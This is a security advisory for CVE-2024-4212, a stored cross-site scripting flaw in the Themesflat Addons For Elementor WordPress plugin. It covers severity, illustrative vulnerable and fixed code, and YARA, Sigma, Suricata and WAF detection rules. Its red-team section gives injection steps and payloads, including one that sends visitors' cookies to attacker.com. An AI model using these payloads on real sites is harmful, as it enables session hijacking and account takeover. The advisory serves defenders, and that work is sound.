CVE-2024-4212

Executive Summary

CVE-2024-4212 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themesflat Addons For Elementor WordPress plugin, affecting all versions up to and including 2.1.1. The flaw resides in multiple widgets (TF Group Image, TF Nav Menu, TF Posts, TF Woo Product Grid, TF Accordion, and TF Image Box) due to insufficient input sanitization and output escaping on user-supplied attributes. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits a compromised page. With a CVSS score of 6.4 (Medium), the vulnerability poses a significant risk to WordPress sites using this plugin, potentially leading to session hijacking, defacement, or malware distribution. No public exploit code or patch details are currently available, but the EPSS score of 0.0% suggests low active exploitation in the wild.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The affected plugin, Themesflat Addons For Elementor, extends the Elementor page builder. The attack vector relies on WordPress user roles (contributor and above) and the plugin’s failure to sanitize widget attributes. No Apache or Nginx configuration changes can mitigate this; the fix must come from the plugin vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs contributor-level WordPress account.
• User Interaction: None (UI:N) – no victim action needed for injection.
• Scope: Changed (S:C) – impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited content modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated attackers to inject persistent scripts that execute for all users makes this a serious concern for WordPress sites with multiple authors.

Deep Dive & Mechanics

The vulnerability stems from the plugin’s failure to properly sanitize and escape user-supplied attributes in several Elementor widgets. Specifically, the TF Group Image, TF Nav Menu, TF Posts, TF Woo Product Grid, TF Accordion, and TF Image Box widgets accept HTML attributes (e.g., class, id, style, or custom data attributes) without validating or encoding them. An attacker with contributor-level access can craft a malicious attribute containing JavaScript, such as:

<div class="tf-group-image" data-custom="<script>alert('XSS')</script>">

When the page is rendered, the unsanitized attribute is output directly into the DOM, causing the script to execute in the context of the victim’s browser. The stored nature means the payload persists in the database and triggers on every page load.

The vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). The root cause is the use of functions like esc_attr() incorrectly or not at all, allowing raw HTML/JavaScript to pass through.

Vulnerable vs. Patched Code

Since no official patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (example from TF Group Image widget):

// In themesflat-addons-for-elementor/widgets/tf-group-image.php
public function render() {
    $settings = $this->get_settings_for_display();
    $custom_class = $settings['custom_class']; // No sanitization
    echo '<div class="tf-group-image ' . $custom_class . '">';
    // ...
}

Patched Code (hypothetical):

public function render() {
    $settings = $this->get_settings_for_display();
    $custom_class = sanitize_html_class($settings['custom_class']); // Sanitize
    echo '<div class="tf-group-image ' . esc_attr($custom_class) . '">'; // Escape
    // ...
}

The fix involves:

1. Using sanitize_html_class() for class attributes.
2. Applying esc_attr() or wp_kses() for other attributes.
3. Validating input against a whitelist of allowed values.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with Themesflat Addons For Elementor <= 2.1.1.
• Contributor-level account or higher.

Steps:

1. Log in as a contributor.
2. Create or edit a page using Elementor.
3. Add a vulnerable widget (e.g., TF Group Image).
4. In the widget’s custom attribute field (e.g., “Custom CSS Class”), inject:

   " onfocus="alert(1)" autofocus="
   

   Or a more sophisticated payload:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save and publish the page.
6. When any user (including admins) visits the page, the script executes.

Proof-of-Concept (PoC):

<!-- Injected via widget attribute -->
<div class="tf-group-image" style="x:expression(alert(1))"> <!-- IE legacy -->
<div class="tf-group-image" onmouseover="alert(1)"> <!-- Event handler -->

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual widget attribute values in page/post content.
• Look for patterns like on*= or <script> in custom fields.
• Use WAF rules to block XSS payloads in POST requests to wp-admin/admin-ajax.php (Elementor AJAX).

Hardening:

• Restrict contributor roles: limit who can use Elementor.
• Apply a virtual patch via WAF (e.g., ModSecurity rule):

  SecRule ARGS "@rx (<script|on\w+\s*=)" "id:1001,phase:2,deny,status:403,msg:'XSS attempt blocked'"
  

• Disable the plugin until a patch is released.

Indicators of Compromise (IOCs)

• File Hashes (plugin files):
  • themesflat-addons-for-elementor/widgets/tf-group-image.php (SHA256: UNKNOWN)
  • themesflat-addons-for-elementor/widgets/tf-nav-menu.php (SHA256: UNKNOWN)
• Network Indicators:
  • Outbound requests to attacker-controlled domains from compromised pages.
  • Suspicious POST requests to /wp-admin/admin-ajax.php with action=elementor_ajax and XSS payloads.
• Log Entries:
  • WordPress debug log entries containing stripslashes or unserialize errors.
  • Web server logs with %3Cscript%3E or onerror= in request URIs.

Detection Engineering

YARA Rule

rule CVE_2024_4212_Themesflat_XSS {
    meta:
        description = "Detects malicious widget attributes in Themesflat Addons For Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-4212"
    strings:
        $xss1 = /on\w+\s*=\s*['"][^'"]*['"]/ nocase
        $xss2 = /<script[^>]*>/i
        $xss3 = /javascript\s*:/i
        $attr = /tf-group-image|tf-nav-menu|tf-posts|tf-woo-product-grid|tf-accordion|tf-image-box/
    condition:
        any of ($xss*) and any of ($attr)
}

Sigma Rule

title: CVE-2024-4212 - Stored XSS via Themesflat Addons For Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress page/post content via vulnerable plugin widgets
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'elementor_ajax'
        cs-request|contains: 
            - '<script'
            - 'onerror='
            - 'onfocus='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget attributes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4212 - Stored XSS via Themesflat Addons For Elementor"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"elementor_ajax"; http_client_body; pcre:"/(<script|on\w+\s*=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Restrict user roles: Remove Elementor editing capabilities from contributor and author roles.
3. Apply WAF rules (see Detection Engineering) to block XSS payloads.

Long-term Fix:

• Monitor the vendor’s website for a patched version (> 2.1.1).
• Once available, update the plugin immediately.
• If no patch is released, consider replacing the plugin with an alternative.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.
• Manually sanitize widget attributes via a custom plugin hook (advanced).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert